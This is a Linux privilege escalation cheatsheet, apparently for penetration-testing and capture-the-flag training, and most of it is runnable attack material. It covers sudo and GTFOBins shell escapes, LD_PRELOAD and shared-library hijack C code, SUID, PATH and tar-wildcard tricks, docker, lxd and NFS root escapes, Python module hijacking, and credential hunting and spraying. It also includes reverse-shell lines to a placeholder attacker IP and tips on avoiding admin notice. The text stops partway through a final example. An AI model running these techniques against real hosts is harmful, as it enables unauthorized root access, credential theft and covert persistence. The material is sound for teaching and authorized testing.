Linux Privilege Escalation
Cheatsheet
Situational awareness (first 60 seconds)
# Who am I, where am I, what can I do
id; whoami; hostname; pwd
cat /etc/os-release; uname -a
echo $PATH; env
sudo -l # free win if presentEnumeration quick-fire
# Users / groups / shells
echo "Passwd" : ;cat /etc/passwd; echo "\nGroups:"; cat /etc/group;echo "\nShells:" ;cat /etc/shells
getent passwd {1000..2000} # real users only OR
awk -F: '$3 >= 1000 && $3 < 65534 {print $1}' /etc/passwd
cat /etc/shadow 2>/dev/null # jackpot if readable
# Sudo / SUID / SGID / capabilities
sudo -l; sudo -V # sudo version check
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -perm -6000 -type f 2>/dev/null # SUID+SGID
getcap -r / 2>/dev/null # capabilities
# Cron / timers / running procs
cat /etc/crontab; ls -la /etc/cron.*
crontab -l 2>/dev/null
sudo crontab -l 2>/dev/null # root crontab
systemctl list-timers --all
ps -eo user,pid,cmd --forest
# Writable stuff
find / -path /proc -prune -o -type d -perm -o+w 2>/dev/null | grep -v /proc
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null | grep -v /proc # OR
find / -type d -perm -0002 ! -perm -1000 2>/dev/null
find /etc -type f -perm -o+w 2>/dev/null # writable in /etc = critical
# Writable files not owned by current user
find / -path /proc -prune -o -writable ! -user $(whoami) -type f 2>/dev/null
#history files
find / -name ".*history" 2>/dev/null
#root owned files
find / -writable -user root -type f 2>/dev/null
# Network / mounts / NFS
ip a; ip route; ss -tulnp; arp -a
mount; cat /etc/fstab; cat /etc/exports 2>/dev/null # no_root_squash
# Credentials on disk
grep -RiE 'pass(word)?|secret|api[_-]?key|token' /etc /home /var/www 2>/dev/null | head -50
find / -type f \( -name 'id_*' -o -name 'authorized_keys' -o -name '*.kdbx' \) 2>/dev/null
find / -regextype posix-extended -regex '.*\.(conf|cnf|config|env|ini|xml|ya?ml|bak|old)$' 2>/dev/null
# GPG keys
find / -path "*/.gnupg/*" 2>/dev/null
# Containers
cat /proc/1/cgroup; ls -la /.dockerenv 2>/dev/null
# service
systemctl list-unit-files --type=service
find /etc/systemd /usr/lib/systemd -name "*.service" 2>/dev/null
# path hijack
echo $PATH | tr ':' '\n' | xargs ls -ldAutomated enumeration
# LinPEAS
./linpeas.sh -a 2>&1 | tee /tmp/linpeas.txt
# LinEnum
./linEnum.sh -t 2>&1 | tee /tmp/linenum.txt
# linux-exploit-suggester
./linux-exploit-suggester.sh 2>&1 | tee /tmp/linux-exploit-suggester.txt
# pspy run and look ouut for events that regularly happens like a cron job or some sys events related to sonme service
./pspy64 -pf -i 1000Methodology
Ask before touching the keyboard: Which user am I? What kernel/OS? What runs as root? What creds hide in files, history, env? What hosts can I reach? What can I read or write that I shouldn’t? Every missed question is a missed root.
Phase 0: Orientation
Ask youself
- Who am I, and what do my privileges and group memberships actually allow?
- Where am I ? what distro, kernel, and architecture, and is this a container or VM?
- What is watching me ? auditd, AppArmor/SELinux, shell history ? before I run anything noisy?
- What can this foothold reach that my attack box cannot (internal services, other subnets)?
- What credentials, keys, or configs are readable from here?
- Which privesc path does the current evidence most cheaply enable?
id; whoami; hostname; pwd
cat /etc/os-release; uname -a
sudo -l # free win if present
cat /proc/version # compiler + build date
hostnamectl # systemd hosts
who -a
last -w # login history
lastlog | grep -v 'Never' # who has ever logged in
finger 2>/dev/null
- Establish identity and privileges (
id,whoami,sudo -l). - Fingerprint the host (distro, kernel, arch; record exact kernel for CVE lookup).
- Note defenses before noisy enumeration (
sestatus,aa-status, auditd). - Map what this position can reach that your attack box cannot.
- Sweep for readable credentials, keys, and writable paths.
- Rank candidate privesc paths simplest and quietest first before committing.
Phase 1: Identity & Environment
Ask youself
- Which groups and shells does my user have, and do any (
docker,lxd,disk,adm,shadow) grant near-root? - Is any directory early in
$PATHwritable, enabling a hijack? - Does the environment leak secrets or set
LD_PRELOAD/LD_LIBRARY_PATH? - Is the exact kernel version in a known local-root CVE range?
- Is tmux/screen installed for a possible session hijack?
# Group membership, writable PATH entries, dangerous env, shells
getent group sudo wheel admin docker lxd disk adm 2>/dev/null
echo $PATH | tr ':' '\n' | xargs -I{} ls -ld {} 2>/dev/null # writable PATH dirs?
env | grep -E 'LD_PRELOAD|LD_LIBRARY_PATH|PYTHONPATH'
cat /etc/shells # is tmux/screen installed?
cat /etc/shadow 2>/dev/null # readable = crack offline
cat /etc/passwd # all accounts
cat /etc/passwd | grep -vE 'nologin|false' # real login users
cat /etc/group # group membership-
id && whoami && hostname: establish user, groups, box identity -
cat /etc/os-release && uname -a: distro, kernel, arch (record exact kernel for CVE lookup) -
echo $PATHany writable dirs early in PATH? -
envsecrets in environment?LD_PRELOAD/LD_LIBRARY_PATHset? -
cat /etc/shellsis tmux/screen present for session hijack?
Phase 2: Low-Hanging Escalation Vectors
Ask youself
- Does
sudo -lshow any NOPASSWD, SETENV, or path-relative entry I can abuse immediately? - Is any SUID/SGID binary or capability on the GTFOBins list?
- Do any scheduled jobs run writable scripts, wildcards, or relative commands as root?
- Is
/etc/passwdwritable or/etc/shadowreadable/writable?
# Sudo, SUID, capabilities, scheduled jobs, passwd/shadow perms
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timers --all
./pspy64 -pf -i 1000
grep ':0:' /etc/passwd; ls -l /etc/shadow /etc/passwd-
sudo -lany NOPASSWD entry is a candidate for GTFOBins -
find / -perm -4000 -type f 2>/dev/nullSUID, cross-check GTFOBins -
getcap -r / 2>/dev/nullcap_setuid+epon an interpreter = instant root -
cat /etc/crontab; ls -la /etc/cron.*; systemctl list-timerswritable scripts? wildcards? -
./pspy64(10+ min) catches cron, short-lived procs, relative-PATH calls -
cat /etc/passwd | grep ':0:'duplicate UID 0 accounts -
ls -l /etc/shadow /etc/passwdwritable? world-readable shadow?
Phase 3: Files, Creds, and Lateral Data
Ask youself
- Are other users’ home directories, SSH keys, or shell histories readable?
- Do any config files,
.env, or backups contain reusable passwords? - Do mounts or
/etc/exportsrevealno_root_squashor disks with creds? - Which recovered credential should I spray against
su, SSH, and services next?
# Home dirs, history, keys, configs, mounts/exports, disks
ls -la /home/*
# Hidden files (often creds, keys)
find / -type f -name '.*' 2>/dev/null | grep -vE '/(proc|sys)/'
find /home -type f -name '.*' -exec ls -la {} \; 2>/dev/null
# History files
find / -type f \( -name '*_history' -o -name '.*_history' \) -exec ls -la {} \; 2>/dev/null
cat /root/.bash_history ~/.bash_history 2>/dev/null
find / -name 'id_rsa*' 2>/dev/null
cat /etc/fstab; cat /etc/exports 2>/dev/null; mount | grep -v proc
lsblk; fdisk -l 2>/dev/null-
ls -la /home/*other users’ homes readable? SSH keys? bash history? -
cat ~/.bash_history ~/.zsh_history /root/.bash_history 2>/dev/nullpasswords typed inline -
find / -type f \( -name 'id_*' -o -name 'authorized_keys' -o -name '*.kdbx' \) 2>/dev/null: SSH keys to pivot or escalate - Config hunt:
/var/www,/opt,/etc/*.conf,.env,wp-config.php,.git/config -
cat /etc/fstab && cat /etc/exports 2>/dev/null && mount | grep -v proc, NFSno_root_squash, mounted disks with creds -
lsblk && fdisk -l 2>/dev/nullunmounted partitions with data
Phase 4: Services, Network, packages and Containers
Ask youself
- Which localhost-only services are running, and are they weakly authenticated?
- Do any root-owned processes run custom binaries I can influence?
- Does this host bridge subnets that make it a pivot point?
- Am I inside a container, and if so is it privileged or does it mount the host?
# Network posture
ip a; ip route # interfaces + routes
ss -tulnp # listening sockets + PIDs
ss -anp | grep ESTAB # active connections
cat /etc/resolv.conf # internal DNS? AD hint
cat /etc/hosts # internal name resolution
arp -a; ip neigh # peers recently talked to
netstat -rn 2>/dev/null || route -n
ls /.dockerenv 2>/dev/null; grep -i docker /proc/1/cgroup #wuick docker container check
cat /proc/self/status | grep Cap # then decode the hex to see if it's privileged
capsh --decode=<hex>
# services
ps auxf # full tree
ps -eo user,pid,cmd | grep -v ']' | grep '^root' # root-owned procs
systemctl list-units --type=service --state=running
systemctl list-timers --all # modern day cron replacement
# packages
# Debian/Ubuntu
apt list --installed 2>/dev/null | tr '/' ' ' | awk '{print $1, $3}' > /tmp/pkgs.list
# RHEL/CentOS/Fedora
rpm -qa --queryformat '%{NAME} %{VERSION}\n' > /tmp/pkgs.list
# Cross-reference with GTFOBins
for b in $(curl -s https://gtfobins.github.io/api.json | jq -r '.executables|keys[]'); do
grep -q "^$b " /tmp/pkgs.list && echo "[GTFO candidate] $b"
done
-
ss -tulnp | grep 127.0.0.1localhost-only services are often weakly authenticated -
ps -eo user,pid,cmd --forest | grep -v ']' | head -50root processes with interesting binaries -
ip a && ip route && arp -apivot targets, other subnets -
ls /.dockerenv 2>/dev/null; grep -i docker /proc/1/cgroupinside container? -
id | grep -E 'docker|lxd|disk|adm'privileged groups = near-root -
cat /proc/self/status | grep CapCapEff: 0000003fffffffff= privileged container
Phase 5: Automation Fallback
Ask youself
- Have I exhausted the manual checks above before leaning on automated output?
- Which red/yellow LinPEAS lines map to a vector I have not yet tested?
- Does the kernel match any suggester CVE, and is a kernel exploit truly the last resort?
- What did automation catch that my manual pass missed, and why?
# Automated enumeration + kernel CVE matching
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash -s -- -a 2>&1 | tee /tmp/linpeas.txt
./linux-exploit-suggester.sh- Run LinPEAS (
-a), tee output, read all red/yellow - Run linux-exploit-suggester against
uname -r - Diff LinPEAS findings against this checklist LinPEAS catches obscure stuff (pmedit, dbus policies) the manual list doesn’t
How linux stores passwords
The /etc/passwd format is user:password:UID:GID:GECOS:home:shell. A :0: in the third field on anything but root is a deliberate or accidental backdoor. A $6$-prefixed hash in field 2 of /etc/passwd (instead of x) is crackable without needing /etc/shadow access
| Hash prefix | Algorithm | Cracks well with |
|---|---|---|
$1$ | MD5 crypt | hashcat -m 500 |
$5$ | SHA-256 crypt | hashcat -m 7400 |
$6$ | SHA-512 crypt | hashcat -m 1800 |
$2a$ / $2b$ / $2y$ | bcrypt | hashcat -m 3200 |
$7$ | scrypt | hashcat -m 8900 |
$y$ | yescrypt | hashcat -m 30700 |
$argon2i$ / $argon2id$ | Argon2 | john, very slow |
Credential Hunting
Where creds actually live
# Web app configs
find /var/www -type f \( -name 'wp-config.php' -o -name '.env' -o -name 'config.php' -o -name 'settings.py' -o -name 'web.config' \) 2>/dev/null
grep -RiE 'password|passwd|pwd|secret|api[_-]?key|token|db_pass' /var/www 2>/dev/null | head -30
# Config files anywhere
find / -type f \( -name '*.conf' -o -name '*.config' -o -name '*.cnf' -o -name '*.ini' -o -name '*.yaml' -o -name '*.yml' \) 2>/dev/null | xargs grep -liE 'pass|secret|token|key' 2>/dev/null
# Bash history (every user)
find /home /root -name '.*_history' -exec cat {} \; 2>/dev/null
# Git repos and config
find / -name '.git' -type d 2>/dev/null
find / -name '.git-credentials' 2>/dev/null
# SSH material
find / -name 'id_rsa*' -o -name 'id_ed25519*' -o -name 'id_ecdsa*' 2>/dev/null
find / -name 'authorized_keys' -o -name 'known_hosts' 2>/dev/null
cat /home/*/.ssh/known_hosts 2>/dev/null # pivot targets
# Mail and spool
ls -la /var/mail /var/spool/mail 2>/dev/null
# Keepass, kwallet, browser password stores
find / \( -name '*.kdbx' -o -name '*.kdb' -o -name 'Login Data' \) 2>/dev/null
# Backup files with creds
find / -regex '.*\.\(bak\|old\|backup\|orig\|save\|~\)$' -type f 2>/dev/nullThe known_hosts file lists every host the user has SSH’d into. Cross-reference entries against any private keys you find a matching id_rsa for stacey.jenkins plus a known_hosts entry for dc01.corp.local is a silent lateral move waiting to happen.
Why try every recovered password against every user and every service, not just the one it belonged to? Humans reuse passwords. A MySQL root password from a WordPress install is often the same as the admin’s SSH key passphrase, and sometimes the domain admin’s first password before rotation. Credential spraying across the host (and the wider network, once pivoting begins) is the single highest-ROI activity in post-exploitation.
Sudo Abuse
sudo runs a command as another user (usually root) after checking /etc/sudoers. Every entry is an authorization decision, and nearly every authorization decision can be misconfigured. Start with sudo -l. Entries with NOPASSWD show without needing the current user’s password; entries without it need the password (often obtainable from config files, history, or password spraying).
Parsing sudo -l output
sudo -l
# Matching Defaults entries for htb-student on NIX02:
# env_reset, mail_badpass,
# secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
# env_keep+=LD_PRELOAD
#
# User htb-student may run the following commands on NIX02:
# (root) NOPASSWD: /usr/sbin/apache2 restart| Field | Meaning |
|---|---|
(root) | Command runs as this user (could be any user) |
NOPASSWD: | No password required immediate |
SETENV: | Caller can set arbitrary environment variables (huge LD_PRELOAD, PYTHONPATH) |
! prefix | Explicitly denied command (watch for bypasses around it) |
env_keep+=VAR | Variable is preserved across sudo invocation (LD_PRELOAD/LD_LIBRARY_PATH is common) |
secure_path= | PATH used when running sudo’d commands (ignores caller’s PATH unless absolute) |
Direct GTFOBins abuse
Every binary in sudo -l is a candidate. Check gtfobins.github.io/#+sudo
# A selection of the most common
sudo vim -c ':!/bin/bash'
sudo less /etc/profile # then: !/bin/bash
sudo find . -exec /bin/bash -p \; -quit
sudo awk 'BEGIN{system("/bin/bash")}'
sudo python3 -c 'import os;os.system("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo ruby -e 'exec "/bin/bash"'
sudo env /bin/bash
sudo man man # then: !/bin/bash
sudo git -p help config # if pager, !/bin/bash
sudo zip /tmp/x.zip /etc/hosts -T --unzip-command='sh -c /bin/bash'
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/shtcpdump postrotate abuse
tcpdump -z runs an arbitrary command after each rotated capture file. If a sudo entry grants tcpdump, it is almost always a root shell:
# Attacker
nc -lvnp 443
# Target
cat > /tmp/.x <<'EOF'
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP> 443 >/tmp/f
EOF
chmod +x /tmp/.x
sudo /usr/sbin/tcpdump -ln -i any -w /dev/null -W 1 -G 1 -z /tmp/.x -Z rootAppArmor profiles in Ubuntu 20.04+ restrict the binaries that -z can invoke. If the command fails with an AppArmor denial, check /etc/apparmor.d/usr.sbin.tcpdump and fall back to another vector.
LD_PRELOAD preserved in sudo
If sudo -l shows env_keep+=LD_PRELOAD, any sudo’d binary loads a shared object you control first:
// /tmp/pwn.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setuid(0); setgid(0);
system("/bin/bash -p"); # -p coz modern day bash drops privileges when launched with SUID unless called with `-p`. Always use `bash -p` in your payloads, and test that `id` actually reports `uid=0(root)` after the spawn not just `euid=0`.
}gcc -fPIC -shared -nostartfiles -o /tmp/pwn.so /tmp/pwn.c
sudo LD_PRELOAD=/tmp/pwn.so /usr/sbin/apache2 restart LD_LIBRARY_PATH preserved in sudo
Same pattern but target a specific shared object the sudo’d binary actually links:
ldd /usr/sbin/apache2 | head #find a real dep, e.g., libcrypt.so.1
# Compile a malicious libcrypt.so with an init constructor, then:
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 restartSudo CVEs
a lot of older sudo verions have pri esc CVE’s
| CVE | Affected | Detection | Effect |
|---|---|---|---|
| CVE-2021-3156 (Baron Samedit) | sudo < 1.9.5p2 | sudoedit -s '\' $(perl -e 'print "A" x 65536') crash = vuln | Heap overflow → root without password |
| CVE-2019-14287 | sudo < 1.8.28 | sudo -l shows (ALL, !root) or user-restricted runas | sudo -u#-1 <cmd> treats -1 as UID 0 |
| CVE-2019-18634 | sudo < 1.8.26, pwfeedback enabled | sudo -l shows pwfeedback default | Stack overflow → root |
| CVE-2023-22809 | sudo 1.8.0–1.9.12p1 with sudoedit | sudo -l shows sudoedit | EDITOR env contains -- to escape path restriction |
# Check sudo version to triage
sudo -VSUID / SGID Binaries
When the SUID bit is set, a program runs with the file owner’s privileges (usually root) regardless of who launched it. That is intentional for /bin/su and /usr/bin/passwd, but a common source of escalation when developers set the bit on custom binaries, archaic utilities, or anything listed on GTFOBins. The setgid bit does the same with the file’s group.
# Find all SUID (owner-execute-as-owner)
find / -perm -4000 -type f 2>/dev/null
# Find SUID owned by root (the ones that matter)
find / -user root -perm -4000 -type f -exec ls -la {} \; 2>/dev/null
# Find SGID
find / -perm -2000 -type f 2>/dev/null
# Both bits set
find / -perm -6000 -type f 2>/dev/nullAnalyzing unknown SUID binaries
# Static: what does it call?
strings /path/to/suid | grep -E '(^/|exec|system|popen|fopen)'
# Dynamic: library calls
ltrace /path/to/suid 2>&1 | head -40
# Syscalls
strace /path/to/suid 2>&1 | head -100
# Libraries and runpath
ldd /path/to/suid
readelf -d /path/to/suid | grep -E 'RPATH|RUNPATH'PATH hijack (SUID calls relative command)
If strings reveals the binary calls something like service or curl without an absolute path, hijack PATH:
cd /tmp
cat > service <<'EOF'
#!/bin/bash
/bin/bash -p
EOF
chmod +x service
export PATH=/tmp:$PATH
/path/to/suidModern bash drops privileges when launched with SUID unless called with -p. Always use bash -p in your payloads, and test that id actually reports uid=0(root) after the spawn not just euid=0.
Shared object injection (missing dependency)
# Trace for missing .so loads
strace /path/to/suid 2>&1 | grep -E 'open.*\.so.*ENOENT'
# Look for: open("/path/missing.so", O_RDONLY) = -1 ENOENT (No such file or directory)// hijack.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() { setuid(0); system("/bin/bash -p"); }gcc -shared -fPIC -o /path/to/missing.so hijack.c
/path/to/suidRUNPATH shared object hijacking
If a SUID binary has a writable directory in its RUNPATH, drop a malicious library with the right name and it loads with root privileges:
readelf -d /path/to/suid | grep RUNPATH
# 0x1d (RUNPATH) Library runpath: [/development]
ls -ld /development # writable?
# 1) Find the function name the binary imports
ldd /path/to/suid # libshared.so => /development/libshared.so
./suid # undefined symbol: dbquery
# 2) Implement that symbol in a new library
cat > /tmp/src.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void dbquery() { setuid(0); system("/bin/sh -p"); }
EOF
gcc -fPIC -shared -o /development/libshared.so /tmp/src.c
/path/to/suid # now rootWhat is the difference between RPATH and RUNPATH, and why does it matter for exploitation?
RPATH is checked before LD_LIBRARY_PATH, RUNPATH after. Newer toolchains prefer RUNPATH, which means the hardening advice “never bake in a writable rpath” is still frequently violated by developers copying old build scripts. When you see a RUNPATH pointing at /opt/app/lib or /development, check the directory permissionsthat is the intended injection point.
Linux Capabilities
Any binary with a dangerous capability set is near-root without ever triggering the SUID bit so find -perm -4000 misses it. Enumerate with getcap -r /. The attacker-relevant shortlist:
| Capability | What it grants | Typical escalation |
|---|---|---|
cap_setuid+ep | Arbitrary UID change | Interpreter → setuid(0) → root shell |
cap_setgid+ep | Arbitrary GID change | Pair with setuid for full root |
cap_dac_read_search+ep | Bypass file read/search perms | cat shadow, tar arbitrary files |
cap_dac_override+ep | Bypass file read/write/execute perms | Edit /etc/passwd via vim.basic |
cap_sys_admin+ep | Near-total root mount, namespaces, keyrings | Full escape |
cap_sys_ptrace+ep | Attach/inject into other processes | Inject shellcode into root process |
cap_sys_module+ep | Load kernel modules | Rootkit, direct kernel code execution |
cap_net_raw+ep | Raw sockets / packet crafting | Network-level attacks, sniffing |
cap_chown+ep | Arbitrary file ownership change | Take over /etc/shadow, root-owned scripts |
# Find all capability-bearing binaries
getcap -r / 2>/dev/null
getcap -r /usr/bin /usr/sbin /usr/local/bin /opt 2>/dev/null
# Confirm on a specific binary
getcap /usr/bin/python3.8Common capability exploits
# cap_setuid+ep on python3
/usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/bash","bash","-p")'
# cap_setuid+ep on perl
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# cap_dac_override+ep on vim.basic rewrite /etc/passwd root line, su root
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
su root # no password
# cap_dac_read_search+ep on tar exfiltrate shadow
/usr/bin/tar -cf /tmp/shadow.tar /etc/shadow
cat /tmp/shadow.tar | strings | grep '^root:'Why is cap_setuid+ep on an interpreter equivalent to SUID root?
Because the interpreter can call setuid(0) directly from user code. A SUID bit requires the kernel to elevate at exec time; a cap_setuid capability lets the already-running process request UID change whenever it wants. The result is identical: root shell, lower visibility (no SUID bit to be noticed by find -perm -4000).
PATH Abuse
PATH is the ordered list of directories searched for executables. Three abuse patterns exist:
- Writable directory early in a privileged user’s PATH : drop a malicious binary with a common name (
ls,curl) and wait for execution. - Script running as root calls a relative command : same technique, targeted at a specific script’s PATH.
- SUID binary calls a command without absolute path : hijack via the current shell’s PATH before invocation (see SUID section).
# Inspect current PATH
echo $PATH
echo $PATH | tr ':' '\n' | xargs -I {} ls -ld {} 2>/dev/null # any writable dirs?
# Add . (current dir) to PATH :classic self-foot-gun, sometimes seen in scripts
PATH=.:$PATH; export PATHExample: root script calls bare command
# A root cron runs /opt/check.sh which contains: service apache2 status
# /opt is owned by the user group, but /usr/local/bin (in root's PATH) is writable by our user
cat > /usr/local/bin/service <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rb; chmod u+s /tmp/rb
EOF
chmod +x /usr/local/bin/service
# Wait for cron, then
/tmp/rb -pWildcard Abuse
Shell wildcards are expanded to filenames before the target command sees them. If a privileged process runs something like tar czf backup.tgz * in a directory you can write to, you can create filenames that look like command-line options and trick the binary into executing code.
The canonical tar wildcard trick
# Privileged cron: cd /home/app && tar czf /backup/app.tgz *
# Assumption: you can write to /home/app
echo 'cp /bin/bash /tmp/rb; chmod u+s /tmp/rb' > /home/app/shell.sh
chmod +x /home/app/shell.sh
cd /home/app
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
# Next tar run, root executes shell.sh; then
/tmp/rb -pOther wildcard-abusable commands
| Command | Flag that executes code |
|---|---|
tar | --checkpoint-action=exec=CMD |
rsync | -e CMD (treats as remote shell command) |
chown / chmod | --reference=FILE (crafted file ownership/mode leak) |
zip | --unzip-command='sh -c CMD' (postprocess) |
scp | Limited : but globbing can overwrite unintended files |
Why does touch -- '--checkpoint=1' work where touch '--checkpoint=1' fails?
The -- separator tells the shell (and touch) to stop parsing flags. Without it, touch interprets --checkpoint=1 as its own flag and errors. With it, the literal filename --checkpoint=1 is created on disk and when tar * expands later, that filename is handed to tar as an argument, which tar happily parses as its own flag.
Cron Job Abuse
Cron misconfigurations are one of the most common Linux privesc vectors because ops teams routinely write quick backup/health scripts that run as root, then forget they exist. Look for three things: a cron-scheduled script you can write to, a script that uses wildcards in a writable directory, or a cron that runs commands without absolute paths.
# System-wide cron
cat /etc/crontab
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
# Per-user crontabs (usually root-only readable)
ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
# Systemd timers (modern replacement for some cron jobs)
systemctl list-timers --all
# anacron
cat /etc/anacrontab 2>/dev/null
# Catch short-lived jobs without root — pspy
./pspy64 -pf -i 1000 | tee /tmp/pspy.logWritable cron script
ls -la /path/to/cron_script.sh # world-writable?
cp /path/to/cron_script.sh /tmp/cron_script.sh.bak # ALWAYS back up first
# Append a reverse shell, preserving existing behavior
echo 'bash -i >& /dev/tcp/<IP>/4444 0>&1' >> /path/to/cron_script.shCron PATH abuse (relative command names)
Cron jobs often specify a custom PATH= at the top of /etc/crontab. If any directory in that PATH is writable and the cron runs a bare command (backup.sh rather than /usr/local/sbin/backup.sh), hijack it:
# /etc/crontab:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin
# */5 * * * * root backup.sh
cat > /home/user/backup.sh <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x /home/user/backup.sh
# Wait 5 minutes
bash -pCron wildcard abuse
See Wildcard Abuse. Any tar * /path running as root is an almost-guaranteed root shell. Confirm the schedule with pspy before acting : you often cannot read the crontab.
- Always take a backup of the script before editing (
cp script.sh /tmp/script.sh.bak) - Always append rather than replace. A broken backup job at 03:00 on a prod box is exactly the kind of anomaly that pages an admin before the cron re-runs.
Quiz
You land on a box, run pspy, and see `/usr/sbin/CRON` spawning `/bin/sh -c /opt/scripts/cleanup.sh` every 3 minutes as UID 0. `/opt/scripts/cleanup.sh` is owned by root and 644 (not writable). Its contents: `cd /tmp/work && tar czf /var/backups/work.tgz *`. You can write to `/tmp/work`. What's the fastest path to root?
Privileged Groups
Group membership is an easy thing to audit and an easy thing to forget. Several Linux groups are equivalent to root for practical purposes check id first.
docker group
Membership in docker gives you full, passwordless use of the Docker daemon, which runs as root. The daemon will happily start a container with the host filesystem mounted.
id | grep docker
# Mount host / into container /mnt, chroot, and you're root on the host
docker run -v /:/mnt --rm -it alpine chroot /mnt bash
# Alternate image if alpine isn't available
docker images # list locally cached
docker run -v /:/mnt --rm -it <image> chroot /mnt /bin/shlxd / lxc group
Same pattern as docker via LXD: import a tiny image, run it privileged, mount the host root in.
id | grep -E 'lxd|lxc'
# Use a minimal Alpine image (download on attacker, or use lxc-image-import)
# On attacker:
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && ./build-alpine
# Transfer alpine-*.tar.gz to target, then:
lxc image import alpine-*.tar.gz --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t
lxc exec r00t /bin/sh
# Inside container:
cd /mnt/root && cat etc/shadowdisk group
Members of disk have raw read/write to /dev/sd* etc. With debugfs you can read any file on the filesystem — including /etc/shadow and SSH keys even though you are not root:
id | grep disk
debugfs /dev/sda1
# debugfs: cat /etc/shadow
# debugfs: cat /root/.ssh/id_rsaadm group
Members of adm read everything in /var/log. Not directly root, but often contains failed sudo lines with typoed passwords, credentials in application logs, and evidence of running cron jobs to pivot against.
id | grep adm
grep -ri 'pass\|token\|key' /var/log 2>/dev/null | head -40shadow group
Members of shadow can read /etc/shadow directly crack root’s hash offline.
id | grep shadow
cat /etc/shadowA dev says “we add everyone to the docker group on build servers for convenience.” What’s your one-liner for the report? Docker group membership is equivalent to root. Any user who can issue dockker commands owns the host. Mitigations are rootless Docker, a dedicated build user with sudo-scoped docker commands, or Podman (which doesn’t carry the same daemon-root model). The group should be treated as an admin group in access reviews.
NFS no_root_squash
NFS by default squashes remote root to an unprivileged nfsnobody user when clients connect as root. Sharing a directory with no_root_squash disables that files written by a client’s root user are owned by real root on the server, including files with the SUID bit set.
# Target side
cat /etc/exports
# /srv/share *(rw,no_root_squash,sync)
# Attacker side (needs local root)
showmount -e <TARGET_IP>
mkdir /tmp/nfs
sudo mount -t nfs <TARGET_IP>:/srv/share /tmp/nfs
# Create a SUID shell
cat > /tmp/shell.c <<'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){ setuid(0); setgid(0); execl("/bin/bash","bash","-p",NULL); }
EOF
gcc /tmp/shell.c -o /tmp/nfs/pwn
sudo chown root:root /tmp/nfs/pwn
sudo chmod 4755 /tmp/nfs/pwn
# On target (any user)
/srv/share/pwn
# uid=0(root)This technique requires local root on the attacking host so the mount is made with root’s identity. On a Pwnbox/Kali it’s trivial; on a shared jump box, ensure you own that host first. The no_root_squash option is enforced server-side you cannot set it on your own client mount.
Shared Library Attacks
The dynamic linker resolves .so dependencies at runtime using a prioritized path search. Every priority bump is an attack surface. The three dominant vectors:
LD_PRELOAD:a user-controlled library loaded before anything else (needs sudo env preservation or a misconfigured service).RPATH/RUNPATH"" compile-time-baked search paths. If writable, drop a malicious.sothere.- Missing library : the linker fails, but if you can create the expected library, it loads next run.
# Non-sudo LD_PRELOAD: target runs with LD_PRELOAD in its environment (e.g. a misconfigured systemd service)
cat /proc/<pid>/environ | tr '\0' '\n' | grep LD_
# Identify the vector with ldd / readelf
ldd /path/to/target_binary
readelf -d /path/to/target_binary | grep -E 'RPATH|RUNPATH|NEEDED'For the sudo LD_PRELOAD case see Sudo Abuse; for the writable-runpath chain see SUID → RUNPATH hijacking.
Python Library Hijacking
Python scripts running with elevated privileges (SUID python wrapper, sudo-allowed script, cron-scheduled root job) import modules using a priority-ordered search path. If any of those paths is writable, or the script’s imported module itself is writable, the hijack is straightforward.
Three hijack primitives
- Writable installed module : edit the module itself, inject
os.system(...)into the function the script calls. - Writable higher-priority path : drop a shadow module with the same name earlier in
sys.path. PYTHONPATHpreserved across sudo : prepend a user-controlled directory and place the shadow module there.
Primitive 1 : writable module file
# mem_status.py runs SUID root and contains: import psutil; psutil.virtual_memory()
pip3 show psutil | grep Location # /usr/local/lib/python3.8/dist-packages
ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
# -rw-r--rw- 1 root staff ... __init__.py # world-writable
# Edit the function the script calls
sed -i '/^def virtual_memory/a\ import os; os.system("/bin/bash -p")' \
/usr/local/lib/python3.8/dist-packages/psutil/__init__.py
# Trigger (SUID or sudo run of the script)
sudo /usr/bin/python3 /opt/mem_status.py
# uid=0(root)Primitive 2 : writable high-priority path
python3 -c 'import sys; print("\n".join(sys.path))'
# /usr/lib/python38.zip
# /usr/lib/python3.8
# /usr/lib/python3.8/lib-dynload
# /usr/local/lib/python3.8/dist-packages
# /usr/lib/python3/dist-packages
ls -ld /usr/lib/python3.8 # writable? good
# Drop a shadow psutil.py in that directory
cat > /usr/lib/python3.8/psutil.py <<'EOF'
import os
def virtual_memory():
os.system('id; /bin/bash -p')
EOF
sudo /usr/bin/python3 /opt/mem_status.pyPrimitive 3 : PYTHONPATH preserved across sudo
sudo -l
# User may run the following commands:
# (ALL) SETENV: NOPASSWD: /usr/bin/python3
cat > /tmp/psutil.py <<'EOF'
